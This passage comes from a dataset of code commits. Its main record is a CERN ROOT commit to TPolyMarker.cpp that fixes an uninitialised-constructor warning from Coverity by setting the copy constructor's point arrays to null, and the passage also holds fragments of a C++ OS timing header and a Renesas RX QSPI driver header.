tp.tv_nsec;\n#elif defined(__APPLE__)\n        if (!timeFrequency) {\n            mach_timebase_info_data_t timebaseInfo;\n            mach_timebase_info(&timebaseInfo);\n            timeFrequency = 1000000000LL * timebaseInfo.denom \/ timebaseInfo.numer;\n        }\n        return mach_absolute_time();\n#else\n        struct timeval tv;\n        gettimeofday(&tv, NULL);\n        return tv.tv_sec * 1000000LL + tv.tv_usec;\n#endif\n    }\n\n    \/\/ Suspend execution\n    inline void\n    sleep(unsigned long usecs) {\n#if defined(_WIN32)\n        Sleep((usecs + 999) \/ 1000);\n#else\n        usleep(usecs);\n#endif\n    }\n\n} \/* namespace os *\/\n\n#endif \/* _OS_TIME_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/hist:$Id$\n\/\/ Author: Rene Brun   12\/12\/94\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include \"Riostream.h\"\n#include \"TROOT.h\"\n#include \"TVirtualPad.h\"\n#include \"TPolyMarker.h\"\n#include \"TClass.h\"\n#include \"TMath.h\"\n\nClassImp(TPolyMarker)\n\n\n\/\/______________________________________________________________________________\n\/\/\n\/\/  a PolyMarker is defined by an array on N points in a 2-D space.\n\/\/ At each point x[i], y[i] a marker is drawn.\n\/\/ Marker attributes are managed by TAttMarker.\n\/\/ See TMarker for the list of possible marker types.\n\/\/\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(): TObject()\n{\n   \/\/ Default constructor.\n\n   fN = 0;\n   fX = fY = 0;\n   fLastPoint = -1;\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(Int_t n, Option_t *option)\n      :TObject(), TAttMarker()\n{\n   \/\/ Constructor.\n\n   fOption = option;\n   SetBit(kCanDelete);\n   fLastPoint = -1;\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      fX = fY = 0;\n      return;\n   }\n   fN = n;\n   fX = new Double_t [fN];\n   fY = new Double_t [fN];\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(Int_t n, Float_t *x, Float_t *y, Option_t *option)\n      :TObject(), TAttMarker()\n{\n   \/\/ Constructor.\n\n   fOption = option;\n   SetBit(kCanDelete);\n   fLastPoint = -1;\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      fX = fY = 0;\n      return;\n   }\n   fN = n;\n   fX = new Double_t [fN];\n   fY = new Double_t [fN];\n   if (!x || !y) return;\n   for (Int_t i=0; i<fN;i++) { fX[i] = x[i]; fY[i] = y[i]; }\n   fLastPoint = fN-1;\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *option)\n      :TObject(), TAttMarker()\n{\n   \/\/ Constructor.\n\n   fOption = option;\n   SetBit(kCanDelete);\n   fLastPoint = -1;\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      fX = fY = 0;\n      return;\n   }\n   fN = n;\n   fX = new Double_t [fN];\n   fY = new Double_t [fN];\n   if (!x || !y) return;\n   for (Int_t i=0; i<fN;i++) { fX[i] = x[i]; fY[i] = y[i]; }\n   fLastPoint = fN-1;\n}\n\n\/\/______________________________________________________________________________\nTPolyMarker& TPolyMarker::operator=(const TPolyMarker& pm)\n{\n   \/\/assignment operator\n   if(this!=&pm) {\n      TObject::operator=(pm);\n      TAttMarker::operator=(pm);\n      fN=pm.fN;\n      fLastPoint=pm.fLastPoint;\n      fX=pm.fX;\n      fY=pm.fY;\n      fOption=pm.fOption;\n   }\n   return *this;\n}\n\n\/\/______________________________________________________________________________\nTPolyMarker::~TPolyMarker()\n{\n   \/\/ Desctructor.\n\n   if (fX) delete [] fX;\n   if (fY) delete [] fY;\n   fLastPoint = -1;\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(const TPolyMarker &polymarker) : TObject(polymarker), TAttMarker(polymarker)\n{\n   \/\/ Copy constructor.\n\n   fN = 0;\n   fLastPoint = -1;\n   ((TPolyMarker&)polymarker).Copy(*this);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Copy(TObject &obj) const\n{\n\n   \/\/ Copy.\n\n   TObject::Copy(obj);\n   TAttMarker::Copy(((TPolyMarker&)obj));\n   ((TPolyMarker&)obj).fN = fN;\n   if (fN > 0) {\n      ((TPolyMarker&)obj).fX = new Double_t [fN];\n      ((TPolyMarker&)obj).fY = new Double_t [fN];\n      for (Int_t i=0; i<fN;i++) { ((TPolyMarker&)obj).fX[i] = fX[i], ((TPolyMarker&)obj).fY[i] = fY[i]; }\n   } else {\n      ((TPolyMarker&)obj).fX = 0;\n      ((TPolyMarker&)obj).fY = 0;\n   }\n   ((TPolyMarker&)obj).fOption = fOption;\n   ((TPolyMarker&)obj).fLastPoint = fLastPoint;\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TPolyMarker::DistancetoPrimitive(Int_t px, Int_t py)\n{\n   \/\/ Compute distance from point px,py to a polymarker.\n   \/\/\n   \/\/  Compute the closest distance of approach from point px,py to each point\n   \/\/  of the polymarker.\n   \/\/  Returns when the distance found is below DistanceMaximum.\n   \/\/  The distance is computed in pixels units.\n\n   const Int_t big = 9999;\n\n   \/\/ check if point is near one of the points\n   Int_t i, pxp, pyp, d;\n   Int_t distance = big;\n\n   for (i=0;i<Size();i++) {\n      pxp = gPad->XtoAbsPixel(gPad->XtoPad(fX[i]));\n      pyp = gPad->YtoAbsPixel(gPad->YtoPad(fY[i]));\n      d   = TMath::Abs(pxp-px) + TMath::Abs(pyp-py);\n      if (d < distance) distance = d;\n   }\n   return distance;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Draw(Option_t *option)\n{\n   \/\/ Draw.\n\n   AppendPad(option);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::DrawPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *)\n{\n   \/\/ Draw polymarker.\n\n   TPolyMarker *newpolymarker = new TPolyMarker(n,x,y);\n   TAttMarker::Copy(*newpolymarker);\n   newpolymarker->fOption = fOption;\n   newpolymarker->SetBit(kCanDelete);\n   newpolymarker->AppendPad();\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::ExecuteEvent(Int_t, Int_t, Int_t)\n{\n   \/\/ Execute action corresponding to one event.\n   \/\/\n   \/\/  This member function must be implemented to realize the action\n   \/\/  corresponding to the mouse click on the object in the window\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::ls(Option_t *) const\n{\n   \/\/ ls.\n\n   TROOT::IndentLevel();\n   printf(\"TPolyMarker  N=%d\\n\",fN);\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TPolyMarker::Merge(TCollection *li)\n{\n   \/\/ Merge polymarkers in the collection in this polymarker.\n\n   if (!li) return 0;\n   TIter next(li);\n\n   \/\/first loop to count the number of entries\n   TPolyMarker *pm;\n   Int_t npoints = 0;\n   while ((pm = (TPolyMarker*)next())) {\n      if (!pm->InheritsFrom(TPolyMarker::Class())) {\n         Error(\"Add\",\"Attempt to add object of class: %s to a %s\",pm->ClassName(),this->ClassName());\n         return -1;\n      }\n      npoints += pm->Size();\n   }\n\n   \/\/extend this polymarker to hold npoints\n   SetPoint(npoints-1,0,0);\n\n   \/\/merge all polymarkers\n   next.Reset();\n   while ((pm = (TPolyMarker*)next())) {\n      Int_t np = pm->Size();\n      Double_t *x = pm->GetX();\n      Double_t *y = pm->GetY();\n      for (Int_t i=0;i<np;i++) {\n         SetPoint(i,x[i],y[i]);\n      }\n   }\n\n   return npoints;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Paint(Option_t *option)\n{\n   \/\/ Paint.\n\n   PaintPolyMarker(fLastPoint+1, fX, fY, option);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::PaintPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *option)\n{\n   \/\/ Paint polymarker.\n\n   if (n <= 0) return;\n   TAttMarker::Modify();  \/\/Change marker attributes only if necessary\n   Double_t *xx = x;\n   Double_t *yy = y;\n   if (gPad->GetLogx()) {\n      xx = new Double_t[n];\n      for (Int_t ix=0;ix<n;ix++) xx[ix] = gPad->XtoPad(x[ix]);\n   }\n   if (gPad->GetLogy()) {\n      yy = new Double_t[n];\n      for (Int_t iy=0;iy<n;iy++) yy[iy] = gPad->YtoPad(y[iy]);\n   }\n   gPad->PaintPolyMarker(n,xx,yy,option);\n   if (x != xx) delete [] xx;\n   if (y != yy) delete [] yy;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Print(Option_t *) const\n{\n   \/\/ Print polymarker.\n\n   printf(\"TPolyMarker  N=%d\\n\",fN);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SavePrimitive(ostream &out, Option_t *option \/*= \"\"*\/)\n{\n   \/\/ Save primitive as a C++ statement(s) on output stream out.\n\n   char quote = '\"';\n   out<<\"   \"<<endl;\n   out<<\"   Double_t *dum = 0;\"<<endl;\n   if (gROOT->ClassSaved(TPolyMarker::Class())) {\n      out<<\"   \";\n   } else {\n      out<<\"   TPolyMarker *\";\n   }\n   out<<\"pmarker = new TPolyMarker(\"<<fN<<\",dum,dum,\"<<quote<<fOption<<quote<<\");\"<<endl;\n\n   SaveMarkerAttributes(out,\"pmarker\",1,1,1);\n\n   for (Int_t i=0;i<Size();i++) {\n      out<<\"   pmarker->SetPoint(\"<<i<<\",\"<<fX[i]<<\",\"<<fY[i]<<\");\"<<endl;\n   }\n   out<<\"   pmarker->Draw(\"\n      <<quote<<option<<quote<<\");\"<<endl;\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TPolyMarker::SetNextPoint(Double_t x, Double_t y)\n{\n   \/\/ Set point following LastPoint to x, y.\n   \/\/ Returns index of the point (new last point).\n\n   fLastPoint++;\n   SetPoint(fLastPoint, x, y);\n   return fLastPoint;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPoint(Int_t n, Double_t x, Double_t y)\n{\n   \/\/ Set point number n.\n   \/\/ if n is greater than the current size, the arrays are automatically\n   \/\/ extended\n\n   if (n < 0) return;\n   if (!fX || !fY || n >= fN) {\n      \/\/ re-allocate the object\n      Int_t newN = TMath::Max(2*fN,n+1);\n      Double_t *savex = new Double_t [newN];\n      Double_t *savey = new Double_t [newN];\n      if (fX && fN){\n         memcpy(savex,fX,fN*sizeof(Double_t));\n         memset(&savex[fN],0,(newN-fN)*sizeof(Double_t));\n         delete [] fX;\n      }\n      if (fY && fN){\n         memcpy(savey,fY,fN*sizeof(Double_t));\n         memset(&savey[fN],0,(newN-fN)*sizeof(Double_t));\n         delete [] fY;\n      }\n      fX = savex;\n      fY = savey;\n      fN = newN;\n   }\n   fX[n] = x;\n   fY[n] = y;\n   fLastPoint = TMath::Max(fLastPoint,n);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPolyMarker(Int_t n)\n{\n   \/\/ If n <= 0 the current arrays of points are deleted.\n\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      delete [] fX;\n      delete [] fY;\n      fX = fY = 0;\n      return;\n   }\n   SetPoint(n-1,0,0);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPolyMarker(Int_t n, Float_t *x, Float_t *y, Option_t *option)\n{\n   \/\/ If n <= 0 the current arrays of points are deleted.\n\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      delete [] fX;\n      delete [] fY;\n      fX = fY = 0;\n      return;\n   }\n   fN =n;\n   if (fX) delete [] fX;\n   if (fY) delete [] fY;\n   fX = new Double_t[fN];\n   fY = new Double_t[fN];\n   for (Int_t i=0; i<fN;i++) {\n      if (x) fX[i] = (Double_t)x[i];\n      if (y) fY[i] = (Double_t)y[i];\n   }\n   fOption = option;\n   fLastPoint = fN-1;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *option)\n{\n   \/\/ If n <= 0 the current arrays of points are deleted.\n\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      delete [] fX;\n      delete [] fY;\n      fX = fY = 0;\n      return;\n   }\n   fN =n;\n   if (fX) delete [] fX;\n   if (fY) delete [] fY;\n   fX = new Double_t[fN];\n   fY = new Double_t[fN];\n   for (Int_t i=0; i<fN;i++) {\n      if (x) fX[i] = x[i];\n      if (y) fY[i] = y[i];\n   }\n   fOption = option;\n   fLastPoint = fN-1;\n}\n\n\n\/\/_______________________________________________________________________\nvoid TPolyMarker::Streamer(TBuffer &R__b)\n{\n   \/\/ Stream a class object.\n\n   if (R__b.IsReading()) {\n      UInt_t R__s, R__c;\n      Version_t R__v = R__b.ReadVersion(&R__s, &R__c);\n      if (R__v > 1) {\n         R__b.ReadClassBuffer(TPolyMarker::Class(), this, R__v, R__s, R__c);\n         return;\n      }\n      \/\/====process old versions before automatic schema evolution\n      TObject::Streamer(R__b);\n      TAttMarker::Streamer(R__b);\n      R__b >> fN;\n      fX = new Double_t[fN];\n      fY = new Double_t[fN];\n      Int_t i;\n      Float_t xold,yold;\n      for (i=0;i<fN;i++) {R__b >> xold; fX[i] = xold;}\n      for (i=0;i<fN;i++) {R__b >> yold; fY[i] = yold;}\n      fOption.Streamer(R__b);\n      R__b.CheckByteCount(R__s, R__c, TPolyMarker::IsA());\n      \/\/====end of old versions\n\n   } else {\n      R__b.WriteClassBuffer(TPolyMarker::Class(),this);\n   }\n}\n<commit_msg>- Fix coverity report #11208: UNINIT_CTOR<commit_after>\/\/ @(#)root\/hist:$Id$\n\/\/ Author: Rene Brun   12\/12\/94\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include \"Riostream.h\"\n#include \"TROOT.h\"\n#include \"TVirtualPad.h\"\n#include \"TPolyMarker.h\"\n#include \"TClass.h\"\n#include \"TMath.h\"\n\nClassImp(TPolyMarker)\n\n\n\/\/______________________________________________________________________________\n\/\/\n\/\/  a PolyMarker is defined by an array on N points in a 2-D space.\n\/\/ At each point x[i], y[i] a marker is drawn.\n\/\/ Marker attributes are managed by TAttMarker.\n\/\/ See TMarker for the list of possible marker types.\n\/\/\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(): TObject()\n{\n   \/\/ Default constructor.\n\n   fN = 0;\n   fX = fY = 0;\n   fLastPoint = -1;\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(Int_t n, Option_t *option)\n      :TObject(), TAttMarker()\n{\n   \/\/ Constructor.\n\n   fOption = option;\n   SetBit(kCanDelete);\n   fLastPoint = -1;\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      fX = fY = 0;\n      return;\n   }\n   fN = n;\n   fX = new Double_t [fN];\n   fY = new Double_t [fN];\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(Int_t n, Float_t *x, Float_t *y, Option_t *option)\n      :TObject(), TAttMarker()\n{\n   \/\/ Constructor.\n\n   fOption = option;\n   SetBit(kCanDelete);\n   fLastPoint = -1;\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      fX = fY = 0;\n      return;\n   }\n   fN = n;\n   fX = new Double_t [fN];\n   fY = new Double_t [fN];\n   if (!x || !y) return;\n   for (Int_t i=0; i<fN;i++) { fX[i] = x[i]; fY[i] = y[i]; }\n   fLastPoint = fN-1;\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *option)\n      :TObject(), TAttMarker()\n{\n   \/\/ Constructor.\n\n   fOption = option;\n   SetBit(kCanDelete);\n   fLastPoint = -1;\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      fX = fY = 0;\n      return;\n   }\n   fN = n;\n   fX = new Double_t [fN];\n   fY = new Double_t [fN];\n   if (!x || !y) return;\n   for (Int_t i=0; i<fN;i++) { fX[i] = x[i]; fY[i] = y[i]; }\n   fLastPoint = fN-1;\n}\n\n\/\/______________________________________________________________________________\nTPolyMarker& TPolyMarker::operator=(const TPolyMarker& pm)\n{\n   \/\/assignment operator\n   if(this!=&pm) {\n      TObject::operator=(pm);\n      TAttMarker::operator=(pm);\n      fN=pm.fN;\n      fLastPoint=pm.fLastPoint;\n      fX=pm.fX;\n      fY=pm.fY;\n      fOption=pm.fOption;\n   }\n   return *this;\n}\n\n\/\/______________________________________________________________________________\nTPolyMarker::~TPolyMarker()\n{\n   \/\/ Desctructor.\n\n   if (fX) delete [] fX;\n   if (fY) delete [] fY;\n   fLastPoint = -1;\n}\n\n\n\/\/______________________________________________________________________________\nTPolyMarker::TPolyMarker(const TPolyMarker &polymarker) : TObject(polymarker), TAttMarker(polymarker)\n{\n   \/\/ Copy constructor.\n\n   fN = 0;\n   fX = fY = 0;\n   fLastPoint = -1;\n   ((TPolyMarker&)polymarker).Copy(*this);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Copy(TObject &obj) const\n{\n\n   \/\/ Copy.\n\n   TObject::Copy(obj);\n   TAttMarker::Copy(((TPolyMarker&)obj));\n   ((TPolyMarker&)obj).fN = fN;\n   if (fN > 0) {\n      ((TPolyMarker&)obj).fX = new Double_t [fN];\n      ((TPolyMarker&)obj).fY = new Double_t [fN];\n      for (Int_t i=0; i<fN;i++) { ((TPolyMarker&)obj).fX[i] = fX[i], ((TPolyMarker&)obj).fY[i] = fY[i]; }\n   } else {\n      ((TPolyMarker&)obj).fX = 0;\n      ((TPolyMarker&)obj).fY = 0;\n   }\n   ((TPolyMarker&)obj).fOption = fOption;\n   ((TPolyMarker&)obj).fLastPoint = fLastPoint;\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TPolyMarker::DistancetoPrimitive(Int_t px, Int_t py)\n{\n   \/\/ Compute distance from point px,py to a polymarker.\n   \/\/\n   \/\/  Compute the closest distance of approach from point px,py to each point\n   \/\/  of the polymarker.\n   \/\/  Returns when the distance found is below DistanceMaximum.\n   \/\/  The distance is computed in pixels units.\n\n   const Int_t big = 9999;\n\n   \/\/ check if point is near one of the points\n   Int_t i, pxp, pyp, d;\n   Int_t distance = big;\n\n   for (i=0;i<Size();i++) {\n      pxp = gPad->XtoAbsPixel(gPad->XtoPad(fX[i]));\n      pyp = gPad->YtoAbsPixel(gPad->YtoPad(fY[i]));\n      d   = TMath::Abs(pxp-px) + TMath::Abs(pyp-py);\n      if (d < distance) distance = d;\n   }\n   return distance;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Draw(Option_t *option)\n{\n   \/\/ Draw.\n\n   AppendPad(option);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::DrawPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *)\n{\n   \/\/ Draw polymarker.\n\n   TPolyMarker *newpolymarker = new TPolyMarker(n,x,y);\n   TAttMarker::Copy(*newpolymarker);\n   newpolymarker->fOption = fOption;\n   newpolymarker->SetBit(kCanDelete);\n   newpolymarker->AppendPad();\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::ExecuteEvent(Int_t, Int_t, Int_t)\n{\n   \/\/ Execute action corresponding to one event.\n   \/\/\n   \/\/  This member function must be implemented to realize the action\n   \/\/  corresponding to the mouse click on the object in the window\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::ls(Option_t *) const\n{\n   \/\/ ls.\n\n   TROOT::IndentLevel();\n   printf(\"TPolyMarker  N=%d\\n\",fN);\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TPolyMarker::Merge(TCollection *li)\n{\n   \/\/ Merge polymarkers in the collection in this polymarker.\n\n   if (!li) return 0;\n   TIter next(li);\n\n   \/\/first loop to count the number of entries\n   TPolyMarker *pm;\n   Int_t npoints = 0;\n   while ((pm = (TPolyMarker*)next())) {\n      if (!pm->InheritsFrom(TPolyMarker::Class())) {\n         Error(\"Add\",\"Attempt to add object of class: %s to a %s\",pm->ClassName(),this->ClassName());\n         return -1;\n      }\n      npoints += pm->Size();\n   }\n\n   \/\/extend this polymarker to hold npoints\n   SetPoint(npoints-1,0,0);\n\n   \/\/merge all polymarkers\n   next.Reset();\n   while ((pm = (TPolyMarker*)next())) {\n      Int_t np = pm->Size();\n      Double_t *x = pm->GetX();\n      Double_t *y = pm->GetY();\n      for (Int_t i=0;i<np;i++) {\n         SetPoint(i,x[i],y[i]);\n      }\n   }\n\n   return npoints;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Paint(Option_t *option)\n{\n   \/\/ Paint.\n\n   PaintPolyMarker(fLastPoint+1, fX, fY, option);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::PaintPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *option)\n{\n   \/\/ Paint polymarker.\n\n   if (n <= 0) return;\n   TAttMarker::Modify();  \/\/Change marker attributes only if necessary\n   Double_t *xx = x;\n   Double_t *yy = y;\n   if (gPad->GetLogx()) {\n      xx = new Double_t[n];\n      for (Int_t ix=0;ix<n;ix++) xx[ix] = gPad->XtoPad(x[ix]);\n   }\n   if (gPad->GetLogy()) {\n      yy = new Double_t[n];\n      for (Int_t iy=0;iy<n;iy++) yy[iy] = gPad->YtoPad(y[iy]);\n   }\n   gPad->PaintPolyMarker(n,xx,yy,option);\n   if (x != xx) delete [] xx;\n   if (y != yy) delete [] yy;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::Print(Option_t *) const\n{\n   \/\/ Print polymarker.\n\n   printf(\"TPolyMarker  N=%d\\n\",fN);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SavePrimitive(ostream &out, Option_t *option \/*= \"\"*\/)\n{\n   \/\/ Save primitive as a C++ statement(s) on output stream out.\n\n   char quote = '\"';\n   out<<\"   \"<<endl;\n   out<<\"   Double_t *dum = 0;\"<<endl;\n   if (gROOT->ClassSaved(TPolyMarker::Class())) {\n      out<<\"   \";\n   } else {\n      out<<\"   TPolyMarker *\";\n   }\n   out<<\"pmarker = new TPolyMarker(\"<<fN<<\",dum,dum,\"<<quote<<fOption<<quote<<\");\"<<endl;\n\n   SaveMarkerAttributes(out,\"pmarker\",1,1,1);\n\n   for (Int_t i=0;i<Size();i++) {\n      out<<\"   pmarker->SetPoint(\"<<i<<\",\"<<fX[i]<<\",\"<<fY[i]<<\");\"<<endl;\n   }\n   out<<\"   pmarker->Draw(\"\n      <<quote<<option<<quote<<\");\"<<endl;\n}\n\n\n\/\/______________________________________________________________________________\nInt_t TPolyMarker::SetNextPoint(Double_t x, Double_t y)\n{\n   \/\/ Set point following LastPoint to x, y.\n   \/\/ Returns index of the point (new last point).\n\n   fLastPoint++;\n   SetPoint(fLastPoint, x, y);\n   return fLastPoint;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPoint(Int_t n, Double_t x, Double_t y)\n{\n   \/\/ Set point number n.\n   \/\/ if n is greater than the current size, the arrays are automatically\n   \/\/ extended\n\n   if (n < 0) return;\n   if (!fX || !fY || n >= fN) {\n      \/\/ re-allocate the object\n      Int_t newN = TMath::Max(2*fN,n+1);\n      Double_t *savex = new Double_t [newN];\n      Double_t *savey = new Double_t [newN];\n      if (fX && fN){\n         memcpy(savex,fX,fN*sizeof(Double_t));\n         memset(&savex[fN],0,(newN-fN)*sizeof(Double_t));\n         delete [] fX;\n      }\n      if (fY && fN){\n         memcpy(savey,fY,fN*sizeof(Double_t));\n         memset(&savey[fN],0,(newN-fN)*sizeof(Double_t));\n         delete [] fY;\n      }\n      fX = savex;\n      fY = savey;\n      fN = newN;\n   }\n   fX[n] = x;\n   fY[n] = y;\n   fLastPoint = TMath::Max(fLastPoint,n);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPolyMarker(Int_t n)\n{\n   \/\/ If n <= 0 the current arrays of points are deleted.\n\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      delete [] fX;\n      delete [] fY;\n      fX = fY = 0;\n      return;\n   }\n   SetPoint(n-1,0,0);\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPolyMarker(Int_t n, Float_t *x, Float_t *y, Option_t *option)\n{\n   \/\/ If n <= 0 the current arrays of points are deleted.\n\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      delete [] fX;\n      delete [] fY;\n      fX = fY = 0;\n      return;\n   }\n   fN =n;\n   if (fX) delete [] fX;\n   if (fY) delete [] fY;\n   fX = new Double_t[fN];\n   fY = new Double_t[fN];\n   for (Int_t i=0; i<fN;i++) {\n      if (x) fX[i] = (Double_t)x[i];\n      if (y) fY[i] = (Double_t)y[i];\n   }\n   fOption = option;\n   fLastPoint = fN-1;\n}\n\n\n\/\/______________________________________________________________________________\nvoid TPolyMarker::SetPolyMarker(Int_t n, Double_t *x, Double_t *y, Option_t *option)\n{\n   \/\/ If n <= 0 the current arrays of points are deleted.\n\n   if (n <= 0) {\n      fN = 0;\n      fLastPoint = -1;\n      delete [] fX;\n      delete [] fY;\n      fX = fY = 0;\n      return;\n   }\n   fN =n;\n   if (fX) delete [] fX;\n   if (fY) delete [] fY;\n   fX = new Double_t[fN];\n   fY = new Double_t[fN];\n   for (Int_t i=0; i<fN;i++) {\n      if (x) fX[i] = x[i];\n      if (y) fY[i] = y[i];\n   }\n   fOption = option;\n   fLastPoint = fN-1;\n}\n\n\n\/\/_______________________________________________________________________\nvoid TPolyMarker::Streamer(TBuffer &R__b)\n{\n   \/\/ Stream a class object.\n\n   if (R__b.IsReading()) {\n      UInt_t R__s, R__c;\n      Version_t R__v = R__b.ReadVersion(&R__s, &R__c);\n      if (R__v > 1) {\n         R__b.ReadClassBuffer(TPolyMarker::Class(), this, R__v, R__s, R__c);\n         return;\n      }\n      \/\/====process old versions before automatic schema evolution\n      TObject::Streamer(R__b);\n      TAttMarker::Streamer(R__b);\n      R__b >> fN;\n      fX = new Double_t[fN];\n      fY = new Double_t[fN];\n      Int_t i;\n      Float_t xold,yold;\n      for (i=0;i<fN;i++) {R__b >> xold; fX[i] = xold;}\n      for (i=0;i<fN;i++) {R__b >> yold; fY[i] = yold;}\n      fOption.Streamer(R__b);\n      R__b.CheckByteCount(R__s, R__c, TPolyMarker::IsA());\n      \/\/====end of old versions\n\n   } else {\n      R__b.WriteClassBuffer(TPolyMarker::Class(),this);\n   }\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tRX グループ・QSPI I\/O 制御\n    @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2018 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include \"common\/renesas.hpp\"\n#include \"common\/vect.h\"\n\n\/\/\/ F_PCKx は速度パラメーター計算で必要で、設定が無いとエラーにします。\n#if defined(SIG_RX24T)\n#  error \"qspi_io.hpp not support for RX24T\"\n#elif defined(SIG_RX64M) || defined(SIG_RX71M) || defined(SIG_RX65N)\n#ifndef F_PCLKB\n#  error \"qspi_io.hpp requires F_PCLKB to be defined\"\n#else\n#undef PCLK\n#define PCLK F_PCLKB\n#endif\n#endif\n\nnamespace device {\n\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\/*!\n\t\t@brief  QSPI 制御クラス\n\t\t@param[in]\tQSPI\tQSPI 定義クラス\n\t\t@param[in]\tPSEL\tポート候補\n\t*\/\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\ttemplate <class QSPI, port_map::option PSEL = port_map::option::FIRST>\n\tclass qspi_io {\n\tpublic:\n\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\t\/*!\n\t\t\t@brief  データ、クロック位相タイプ型\n\t\t\t\t\tTYPE1(MODE0): CPOL:0 CPHA:0 @n\n\t\t\t\t\tTYPE2(MODE1): CPOL:0 CPHA:1 @n\n\t\t\t\t\tTYPE3(MODE2): CPOL:1 CPHA:0 @n\n\t\t\t\t\tTYPE4(MODE3): CPOL:1 CPHA:1\n\t\t*\/\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\tenum class PHASE : uint8_t {\n\t\t\tTYPE1,  \/\/\/< タイプ１\n\t\t\tTYPE2,  \/\/\/< タイプ２\n\t\t\tTYPE3,  \/\/\/< タイプ３\n\t\t\tTYPE4,  \/\/\/< タイプ４ (SD カードアクセス）\n\t\t};\n\n\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\t\/*!\n\t\t\t@brief  データ長型\n\t\t*\/\n\t\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\tenum class DLEN : uint8_t {\n\t\t\tW8  = 0b0111,\t\/\/\/< 8 Bits\n\t\t\tW9  = 0b1000,\t\/\/\/< 9 Bits\n\t\t\tW10 = 